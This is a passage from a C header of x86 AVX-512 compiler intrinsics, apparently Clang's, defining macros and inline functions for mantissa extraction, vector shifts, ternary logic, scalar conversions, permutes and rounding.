                                                _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_getmant_sd(W, U, A, B, C, D) \
  ((__m128d)__builtin_ia32_getmantsd_round_mask((__v2df)(__m128d)(A), \
                                                (__v2df)(__m128d)(B), \
                                                (int)(((D)&lt;&lt;2) | (C)), \
                                                (__v2df)(__m128d)(W), \
                                                (__mmask8)(U), \
                                                _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_getmant_round_sd(W, U, A, B, C, D, R) \
  ((__m128d)__builtin_ia32_getmantsd_round_mask((__v2df)(__m128d)(A), \
                                                (__v2df)(__m128d)(B), \
                                                (int)(((D)&lt;&lt;2) | (C)), \
                                                (__v2df)(__m128d)(W), \
                                                (__mmask8)(U), (int)(R)))

#define _mm_maskz_getmant_sd(U, A, B, C, D) \
  ((__m128d)__builtin_ia32_getmantsd_round_mask((__v2df)(__m128d)(A), \
                                                (__v2df)(__m128d)(B), \
                                                (int)(((D)&lt;&lt;2) | (C)), \
                                                (__v2df)_mm_setzero_pd(), \
                                                (__mmask8)(U), \
                                                _MM_FROUND_CUR_DIRECTION))

#define _mm_maskz_getmant_round_sd(U, A, B, C, D, R) \
  ((__m128d)__builtin_ia32_getmantsd_round_mask((__v2df)(__m128d)(A), \
                                                (__v2df)(__m128d)(B), \
                                                (int)(((D)&lt;&lt;2) | (C)), \
                                                (__v2df)_mm_setzero_pd(), \
                                                (__mmask8)(U), (int)(R)))

#define _mm_getmant_round_ss(A, B, C, D, R) \
  ((__m128)__builtin_ia32_getmantss_round_mask((__v4sf)(__m128)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (int)(((D)&lt;&lt;2) | (C)), \
                                               (__v4sf)_mm_setzero_ps(), \
                                               (__mmask8)-1, (int)(R)))

#define _mm_getmant_ss(A, B, C, D) \
  ((__m128)__builtin_ia32_getmantss_round_mask((__v4sf)(__m128)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (int)(((D)&lt;&lt;2) | (C)), \
                                               (__v4sf)_mm_setzero_ps(), \
                                               (__mmask8)-1, \
                                               _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_getmant_ss(W, U, A, B, C, D) \
  ((__m128)__builtin_ia32_getmantss_round_mask((__v4sf)(__m128)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (int)(((D)&lt;&lt;2) | (C)), \
                                               (__v4sf)(__m128)(W), \
                                               (__mmask8)(U), \
                                               _MM_FROUND_CUR_DIRECTION))

#define _mm_mask_getmant_round_ss(W, U, A, B, C, D, R) \
  ((__m128)__builtin_ia32_getmantss_round_mask((__v4sf)(__m128)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (int)(((D)&lt;&lt;2) | (C)), \
                                               (__v4sf)(__m128)(W), \
                                               (__mmask8)(U), (int)(R)))

#define _mm_maskz_getmant_ss(U, A, B, C, D) \
  ((__m128)__builtin_ia32_getmantss_round_mask((__v4sf)(__m128)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (int)(((D)&lt;&lt;2) | (C)), \
                                               (__v4sf)_mm_setzero_ps(), \
                                               (__mmask8)(U), \
                                               _MM_FROUND_CUR_DIRECTION))

#define _mm_maskz_getmant_round_ss(U, A, B, C, D, R) \
  ((__m128)__builtin_ia32_getmantss_round_mask((__v4sf)(__m128)(A), \
                                               (__v4sf)(__m128)(B), \
                                               (int)(((D)&lt;&lt;2) | (C)), \
                                               (__v4sf)_mm_setzero_ps(), \
                                               (__mmask8)(U), (int)(R)))

static __inline__ __mmask16 __DEFAULT_FN_ATTRS
_mm512_kmov (__mmask16 __A)
{
  return  __A;
}

#define _mm_comi_round_sd(A, B, P, R) \
  ((int)__builtin_ia32_vcomisd((__v2df)(__m128d)(A), (__v2df)(__m128d)(B), \
                               (int)(P), (int)(R)))

#define _mm_comi_round_ss(A, B, P, R) \
  ((int)__builtin_ia32_vcomiss((__v4sf)(__m128)(A), (__v4sf)(__m128)(B), \
                               (int)(P), (int)(R)))

#ifdef __x86_64__
#define _mm_cvt_roundsd_si64(A, R) \
  ((long long)__builtin_ia32_vcvtsd2si64((__v2df)(__m128d)(A), (int)(R)))
#endif

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sll_epi32(__m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_pslld512((__v16si) __A, (__v4si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sll_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                          (__v16si)_mm512_sll_epi32(__A, __B),
                                          (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sll_epi32(__mmask16 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                          (__v16si)_mm512_sll_epi32(__A, __B),
                                          (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sll_epi64(__m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_psllq512((__v8di)__A, (__v2di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sll_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                             (__v8di)_mm512_sll_epi64(__A, __B),
                                             (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sll_epi64(__mmask8 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                           (__v8di)_mm512_sll_epi64(__A, __B),
                                           (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sllv_epi32(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_psllv16si((__v16si)__X, (__v16si)__Y);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sllv_epi32(__m512i __W, __mmask16 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                           (__v16si)_mm512_sllv_epi32(__X, __Y),
                                           (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sllv_epi32(__mmask16 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                           (__v16si)_mm512_sllv_epi32(__X, __Y),
                                           (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sllv_epi64(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_psllv8di((__v8di)__X, (__v8di)__Y);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sllv_epi64(__m512i __W, __mmask8 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                            (__v8di)_mm512_sllv_epi64(__X, __Y),
                                            (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sllv_epi64(__mmask8 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                            (__v8di)_mm512_sllv_epi64(__X, __Y),
                                            (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sra_epi32(__m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_psrad512((__v16si) __A, (__v4si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sra_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                          (__v16si)_mm512_sra_epi32(__A, __B),
                                          (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sra_epi32(__mmask16 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                          (__v16si)_mm512_sra_epi32(__A, __B),
                                          (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_sra_epi64(__m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_psraq512((__v8di)__A, (__v2di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_sra_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                           (__v8di)_mm512_sra_epi64(__A, __B),
                                           (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_sra_epi64(__mmask8 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                           (__v8di)_mm512_sra_epi64(__A, __B),
                                           (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srav_epi32(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_psrav16si((__v16si)__X, (__v16si)__Y);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srav_epi32(__m512i __W, __mmask16 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                           (__v16si)_mm512_srav_epi32(__X, __Y),
                                           (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srav_epi32(__mmask16 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                           (__v16si)_mm512_srav_epi32(__X, __Y),
                                           (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srav_epi64(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_psrav8di((__v8di)__X, (__v8di)__Y);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srav_epi64(__m512i __W, __mmask8 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                            (__v8di)_mm512_srav_epi64(__X, __Y),
                                            (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srav_epi64(__mmask8 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                            (__v8di)_mm512_srav_epi64(__X, __Y),
                                            (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srl_epi32(__m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_psrld512((__v16si) __A, (__v4si)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srl_epi32(__m512i __W, __mmask16 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                          (__v16si)_mm512_srl_epi32(__A, __B),
                                          (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srl_epi32(__mmask16 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                          (__v16si)_mm512_srl_epi32(__A, __B),
                                          (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srl_epi64(__m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_psrlq512((__v8di)__A, (__v2di)__B);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srl_epi64(__m512i __W, __mmask8 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                           (__v8di)_mm512_srl_epi64(__A, __B),
                                           (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srl_epi64(__mmask8 __U, __m512i __A, __m128i __B)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                           (__v8di)_mm512_srl_epi64(__A, __B),
                                           (__v8di)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srlv_epi32(__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_psrlv16si((__v16si)__X, (__v16si)__Y);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srlv_epi32(__m512i __W, __mmask16 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                           (__v16si)_mm512_srlv_epi32(__X, __Y),
                                           (__v16si)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srlv_epi32(__mmask16 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectd_512((__mmask16)__U,
                                           (__v16si)_mm512_srlv_epi32(__X, __Y),
                                           (__v16si)_mm512_setzero_si512());
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_srlv_epi64 (__m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_psrlv8di((__v8di)__X, (__v8di)__Y);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_mask_srlv_epi64(__m512i __W, __mmask8 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                            (__v8di)_mm512_srlv_epi64(__X, __Y),
                                            (__v8di)__W);
}

static __inline__ __m512i __DEFAULT_FN_ATTRS512
_mm512_maskz_srlv_epi64(__mmask8 __U, __m512i __X, __m512i __Y)
{
  return (__m512i)__builtin_ia32_selectq_512((__mmask8)__U,
                                            (__v8di)_mm512_srlv_epi64(__X, __Y),
                                            (__v8di)_mm512_setzero_si512());
}

/// \enum _MM_TERNLOG_ENUM
///    A helper to represent the ternary logic operations among vector \a A,
///    \a B and \a C. The representation is passed to \a imm.
typedef enum {
  _MM_TERNLOG_A = 0xF0,
  _MM_TERNLOG_B = 0xCC,
  _MM_TERNLOG_C = 0xAA
} _MM_TERNLOG_ENUM;

#define _mm512_ternarylogic_epi32(A, B, C, imm)                                \
  ((__m512i)__builtin_ia32_pternlogd512_mask(                                  \
      (__v16si)(__m512i)(A), (__v16si)(__m512i)(B), (__v16si)(__m512i)(C),     \
      (unsigned char)(imm), (__mmask16)-1))

#define _mm512_mask_ternarylogic_epi32(A, U, B, C, imm)                        \
  ((__m512i)__builtin_ia32_pternlogd512_mask(                                  \
      (__v16si)(__m512i)(A), (__v16si)(__m512i)(B), (__v16si)(__m512i)(C),     \
      (unsigned char)(imm), (__mmask16)(U)))

#define _mm512_maskz_ternarylogic_epi32(U, A, B, C, imm)                       \
  ((__m512i)__builtin_ia32_pternlogd512_maskz(                                 \
      (__v16si)(__m512i)(A), (__v16si)(__m512i)(B), (__v16si)(__m512i)(C),     \
      (unsigned char)(imm), (__mmask16)(U)))

#define _mm512_ternarylogic_epi64(A, B, C, imm)                                \
  ((__m512i)__builtin_ia32_pternlogq512_mask(                                  \
      (__v8di)(__m512i)(A), (__v8di)(__m512i)(B), (__v8di)(__m512i)(C),        \
      (unsigned char)(imm), (__mmask8)-1))

#define _mm512_mask_ternarylogic_epi64(A, U, B, C, imm)                        \
  ((__m512i)__builtin_ia32_pternlogq512_mask(                                  \
      (__v8di)(__m512i)(A), (__v8di)(__m512i)(B), (__v8di)(__m512i)(C),        \
      (unsigned char)(imm), (__mmask8)(U)))

#define _mm512_maskz_ternarylogic_epi64(U, A, B, C, imm)                       \
  ((__m512i)__builtin_ia32_pternlogq512_maskz(                                 \
      (__v8di)(__m512i)(A), (__v8di)(__m512i)(B), (__v8di)(__m512i)(C),        \
      (unsigned char)(imm), (__mmask8)(U)))

#ifdef __x86_64__
#define _mm_cvt_roundsd_i64(A, R) \
  ((long long)__builtin_ia32_vcvtsd2si64((__v2df)(__m128d)(A), (int)(R)))
#endif

#define _mm_cvt_roundsd_si32(A, R) \
  ((int)__builtin_ia32_vcvtsd2si32((__v2df)(__m128d)(A), (int)(R)))

#define _mm_cvt_roundsd_i32(A, R) \
  ((int)__builtin_ia32_vcvtsd2si32((__v2df)(__m128d)(A), (int)(R)))

#define _mm_cvt_roundsd_u32(A, R) \
  ((unsigned int)__builtin_ia32_vcvtsd2usi32((__v2df)(__m128d)(A), (int)(R)))

static __inline__ unsigned __DEFAULT_FN_ATTRS128
_mm_cvtsd_u32 (__m128d __A)
{
  return (unsigned) __builtin_ia32_vcvtsd2usi32 ((__v2df) __A,
             _MM_FROUND_CUR_DIRECTION);
}

#ifdef __x86_64__
#define _mm_cvt_roundsd_u64(A, R) \
  ((unsigned long long)__builtin_ia32_vcvtsd2usi64((__v2df)(__m128d)(A), \
                                                   (int)(R)))

static __inline__ unsigned long long __DEFAULT_FN_ATTRS128
_mm_cvtsd_u64 (__m128d __A)
{
  return (unsigned long long) __builtin_ia32_vcvtsd2usi64 ((__v2df)
                 __A,
                 _MM_FROUND_CUR_DIRECTION);
}
#endif

#define _mm_cvt_roundss_si32(A, R) \
  ((int)__builtin_ia32_vcvtss2si32((__v4sf)(__m128)(A), (int)(R)))

#define _mm_cvt_roundss_i32(A, R) \
  ((int)__builtin_ia32_vcvtss2si32((__v4sf)(__m128)(A), (int)(R)))

#ifdef __x86_64__
#define _mm_cvt_roundss_si64(A, R) \
  ((long long)__builtin_ia32_vcvtss2si64((__v4sf)(__m128)(A), (int)(R)))

#define _mm_cvt_roundss_i64(A, R) \
  ((long long)__builtin_ia32_vcvtss2si64((__v4sf)(__m128)(A), (int)(R)))
#endif

#define _mm_cvt_roundss_u32(A, R) \
  ((unsigned int)__builtin_ia32_vcvtss2usi32((__v4sf)(__m128)(A), (int)(R)))

static __inline__ unsigned __DEFAULT_FN_ATTRS128
_mm_cvtss_u32 (__m128 __A)
{
  return (unsigned) __builtin_ia32_vcvtss2usi32 ((__v4sf) __A,
             _MM_FROUND_CUR_DIRECTION);
}

#ifdef __x86_64__
#define _mm_cvt_roundss_u64(A, R) \
  ((unsigned long long)__builtin_ia32_vcvtss2usi64((__v4sf)(__m128)(A), \
                                                   (int)(R)))

static __inline__ unsigned long long __DEFAULT_FN_ATTRS128
_mm_cvtss_u64 (__m128 __A)
{
  return (unsigned long long) __builtin_ia32_vcvtss2usi64 ((__v4sf)
                 __A,
                 _MM_FROUND_CUR_DIRECTION);
}
#endif

#define _mm_cvtt_roundsd_i32(A, R) \
  ((int)__builtin_ia32_vcvttsd2si32((__v2df)(__m128d)(A), (int)(R)))

#define _mm_cvtt_roundsd_si32(A, R) \
  ((int)__builtin_ia32_vcvttsd2si32((__v2df)(__m128d)(A), (int)(R)))

static __inline__ int __DEFAULT_FN_ATTRS128
_mm_cvttsd_i32 (__m128d __A)
{
  return (int) __builtin_ia32_vcvttsd2si32 ((__v2df) __A,
              _MM_FROUND_CUR_DIRECTION);
}

#ifdef __x86_64__
#define _mm_cvtt_roundsd_si64(A, R) \
  ((long long)__builtin_ia32_vcvttsd2si64((__v2df)(__m128d)(A), (int)(R)))

#define _mm_cvtt_roundsd_i64(A, R) \
  ((long long)__builtin_ia32_vcvttsd2si64((__v2df)(__m128d)(A), (int)(R)))

static __inline__ long long __DEFAULT_FN_ATTRS128
_mm_cvttsd_i64 (__m128d __A)
{
  return (long long) __builtin_ia32_vcvttsd2si64 ((__v2df) __A,
              _MM_FROUND_CUR_DIRECTION);
}
#endif

#define _mm_cvtt_roundsd_u32(A, R) \
  ((unsigned int)__builtin_ia32_vcvttsd2usi32((__v2df)(__m128d)(A), (int)(R)))

static __inline__ unsigned __DEFAULT_FN_ATTRS128
_mm_cvttsd_u32 (__m128d __A)
{
  return (unsigned) __builtin_ia32_vcvttsd2usi32 ((__v2df) __A,
              _MM_FROUND_CUR_DIRECTION);
}

#ifdef __x86_64__
#define _mm_cvtt_roundsd_u64(A, R) \
  ((unsigned long long)__builtin_ia32_vcvttsd2usi64((__v2df)(__m128d)(A), \
                                                    (int)(R)))

static __inline__ unsigned long long __DEFAULT_FN_ATTRS128
_mm_cvttsd_u64 (__m128d __A)
{
  return (unsigned long long) __builtin_ia32_vcvttsd2usi64 ((__v2df)
                  __A,
                  _MM_FROUND_CUR_DIRECTION);
}
#endif

#define _mm_cvtt_roundss_i32(A, R) \
  ((int)__builtin_ia32_vcvttss2si32((__v4sf)(__m128)(A), (int)(R)))

#define _mm_cvtt_roundss_si32(A, R) \
  ((int)__builtin_ia32_vcvttss2si32((__v4sf)(__m128)(A), (int)(R)))

static __inline__ int __DEFAULT_FN_ATTRS128
_mm_cvttss_i32 (__m128 __A)
{
  return (int) __builtin_ia32_vcvttss2si32 ((__v4sf) __A,
              _MM_FROUND_CUR_DIRECTION);
}

#ifdef __x86_64__
#define _mm_cvtt_roundss_i64(A, R) \
  ((long long)__builtin_ia32_vcvttss2si64((__v4sf)(__m128)(A), (int)(R)))

#define _mm_cvtt_roundss_si64(A, R) \
  ((long long)__builtin_ia32_vcvttss2si64((__v4sf)(__m128)(A), (int)(R)))

static __inline__ long long __DEFAULT_FN_ATTRS128
_mm_cvttss_i64 (__m128 __A)
{
  return (long long) __builtin_ia32_vcvttss2si64 ((__v4sf) __A,
              _MM_FROUND_CUR_DIRECTION);
}
#endif

#define _mm_cvtt_roundss_u32(A, R) \
  ((unsigned int)__builtin_ia32_vcvttss2usi32((__v4sf)(__m128)(A), (int)(R)))

static __inline__ unsigned __DEFAULT_FN_ATTRS128
_mm_cvttss_u32 (__m128 __A)
{
  return (unsigned) __builtin_ia32_vcvttss2usi32 ((__v4sf) __A,
              _MM_FROUND_CUR_DIRECTION);
}

#ifdef __x86_64__
#define _mm_cvtt_roundss_u64(A, R) \
  ((unsigned long long)__builtin_ia32_vcvttss2usi64((__v4sf)(__m128)(A), \
                                                    (int)(R)))

static __inline__ unsigned long long __DEFAULT_FN_ATTRS128
_mm_cvttss_u64 (__m128 __A)
{
  return (unsigned long long) __builtin_ia32_vcvttss2usi64 ((__v4sf)
                  __A,
                  _MM_FROUND_CUR_DIRECTION);
}
#endif

#define _mm512_permute_pd(X, C) \
  ((__m512d)__builtin_ia32_vpermilpd512((__v8df)(__m512d)(X), (int)(C)))

#define _mm512_mask_permute_pd(W, U, X, C) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_permute_pd((X), (C)), \
                                        (__v8df)(__m512d)(W)))

#define _mm512_maskz_permute_pd(U, X, C) \
  ((__m512d)__builtin_ia32_selectpd_512((__mmask8)(U), \
                                        (__v8df)_mm512_permute_pd((X), (C)), \
                                        (__v8df)_mm512_setzero_pd()))

#define _mm512_permute_ps(X, C) \
  ((__m512)__builtin_ia32_vpermilps512((__v16sf)(__m512)(X), (int)(C)))

#define _mm512_mask_permute_ps(W, U, X, C) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                       (__v16sf)_mm512_permute_ps((X), (C)), \
                                       (__v16sf)(__m512)(W)))

#define _mm512_maskz_permute_ps(U, X, C) \
  ((__m512)__builtin_ia32_selectps_512((__mmask16)(U), \
                                       (__v16sf)_mm512_permute_ps((X), (C)), \
                                       (__v16sf)_mm512_setzero_ps()))

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_permutevar_pd(__m512d __A, __m512i __C)
{
  return (__m512d)__builtin_ia32_vpermilvarpd512((__v8df)__A, (__v8di)__C);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_permutevar_pd(__m512d __W, __mmask8 __U, __m512d __A, __m512i __C)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                         (__v8df)_mm512_permutevar_pd(__A, __C),
                                         (__v8df)__W);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_permutevar_pd(__mmask8 __U, __m512d __A, __m512i __C)
{
  return (__m512d)__builtin_ia32_selectpd_512((__mmask8)__U,
                                         (__v8df)_mm512_permutevar_pd(__A, __C),
                                         (__v8df)_mm512_setzero_pd());
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_permutevar_ps(__m512 __A, __m512i __C)
{
  return (__m512)__builtin_ia32_vpermilvarps512((__v16sf)__A, (__v16si)__C);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_permutevar_ps(__m512 __W, __mmask16 __U, __m512 __A, __m512i __C)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                        (__v16sf)_mm512_permutevar_ps(__A, __C),
                                        (__v16sf)__W);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_permutevar_ps(__mmask16 __U, __m512 __A, __m512i __C)
{
  return (__m512)__builtin_ia32_selectps_512((__mmask16)__U,
                                        (__v16sf)_mm512_permutevar_ps(__A, __C),
                                        (__v16sf)_mm512_setzero_ps());
}

static __inline __m512d __DEFAULT_FN_ATTRS512
_mm512_permutex2var_pd(__m512d __A, __m512i __I, __m512d __B)
{
  return (__m512d)__builtin_ia32_vpermi2varpd512((__v8df)__A, (__v8di)__I,
                                                 (__v8df)__B);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask_permutex2var_pd(__m512d __A, __mmask8 __U, __m512i __I, __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                  (__v8df)_mm512_permutex2var_pd(__A, __I, __B),
                                  (__v8df)__A);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_mask2_permutex2var_pd(__m512d __A, __m512i __I, __mmask8 __U,
                             __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                  (__v8df)_mm512_permutex2var_pd(__A, __I, __B),
                                  (__v8df)(__m512d)__I);
}

static __inline__ __m512d __DEFAULT_FN_ATTRS512
_mm512_maskz_permutex2var_pd(__mmask8 __U, __m512d __A, __m512i __I,
                             __m512d __B)
{
  return (__m512d)__builtin_ia32_selectpd_512(__U,
                                  (__v8df)_mm512_permutex2var_pd(__A, __I, __B),
                                  (__v8df)_mm512_setzero_pd());
}

static __inline __m512 __DEFAULT_FN_ATTRS512
_mm512_permutex2var_ps(__m512 __A, __m512i __I, __m512 __B)
{
  return (__m512)__builtin_ia32_vpermi2varps512((__v16sf)__A, (__v16si)__I,
                                                (__v16sf) __B);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask_permutex2var_ps(__m512 __A, __mmask16 __U, __m512i __I, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                 (__v16sf)_mm512_permutex2var_ps(__A, __I, __B),
                                 (__v16sf)__A);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_mask2_permutex2var_ps(__m512 __A, __m512i __I, __mmask16 __U, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                 (__v16sf)_mm512_permutex2var_ps(__A, __I, __B),
                                 (__v16sf)(__m512)__I);
}

static __inline__ __m512 __DEFAULT_FN_ATTRS512
_mm512_maskz_permutex2var_ps(__mmask16 __U, __m512 __A, __m512i __I, __m512 __B)
{
  return (__m512)__builtin_ia32_selectps_512(__U,
                                 (__v16sf)_mm512_permutex2var_ps(__A, __I, __B),
                                 (__v16sf)_mm512_setzero_ps());
}


#define _mm512_cvtt_roundpd_epu32(A, R) \
  ((__m256i)__builtin_ia32_cvttpd2udq512_mask((__v8df)(__m512d)(A), \
                                              (__v8si)_mm256_undefined_si256(), \
                                              (__mmask8)-1, (int)(R)))

#define _mm512_mask_cvtt_roundpd_epu32(W, U, A, R) \
  ((__m256i)__builtin_ia32_cvttpd2udq512_mask((__v8df)(__m512d)(A), \
                                              (__v8si)(__m256i)(W), \
                                              (__mmask8)(U), (int)(R)))

#define _mm512_maskz_cvtt_roundpd_epu32(U, A, R) \
  ((__m256i)__builtin_ia32_cvttpd2udq512_mask((__v8df)(__m512d)(A), \
                                              (__v8si)_mm256_setzero_si256(), \
                                              (__mmask8)(U), (int)(R)))

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_cvttpd_epu32 (__m512d __A)
{
  return (__m256i) __builtin_ia32_cvttpd2udq512_mask ((__v8df) __A,
                  (__v8si)
                  _mm256_undefined_si256 (),
                  (__mmask8) -1,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_mask_cvttpd_epu32 (__m256i __W, __mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvttpd2udq512_mask ((__v8df) __A,
                  (__v8si) __W,
                  (__mmask8) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

static __inline__ __m256i __DEFAULT_FN_ATTRS512
_mm512_maskz_cvttpd_epu32 (__mmask8 __U, __m512d __A)
{
  return (__m256i) __builtin_ia32_cvttpd2udq512_mask ((__v8df) __A,
                  (__v8si)
                  _mm256_setzero_si256 (),
                  (__mmask8) __U,
                  _MM_FROUND_CUR_DIRECTION);
}

#define _mm_roundscale_round_sd(A, B, imm, R) \
  ((__m128d)__builtin_ia32_rndscalesd_round_mask((__v2df)(__m128d)(A), \
                                                 (__v2df)(__m128d)(B), \
                                                 (__v2df)_mm_setzero_pd(), \
                                                 (__mmask8)-1, (int)(imm), \
                                                 (int)(R)))

#define _mm_roundscale_sd(A, B, imm) \
  ((__m128d)__builtin_ia32_rndscalesd_round_mask((__v2df)(__m128d)(A), \
                                                 (__v2df)(__m128d)(B), \
                                                 (__v2df)_mm_setzero_pd(), \
                                                 (__mmask8)-1, (int)(imm), \
                                                 _MM_FROUND_CUR_DIRECTION))

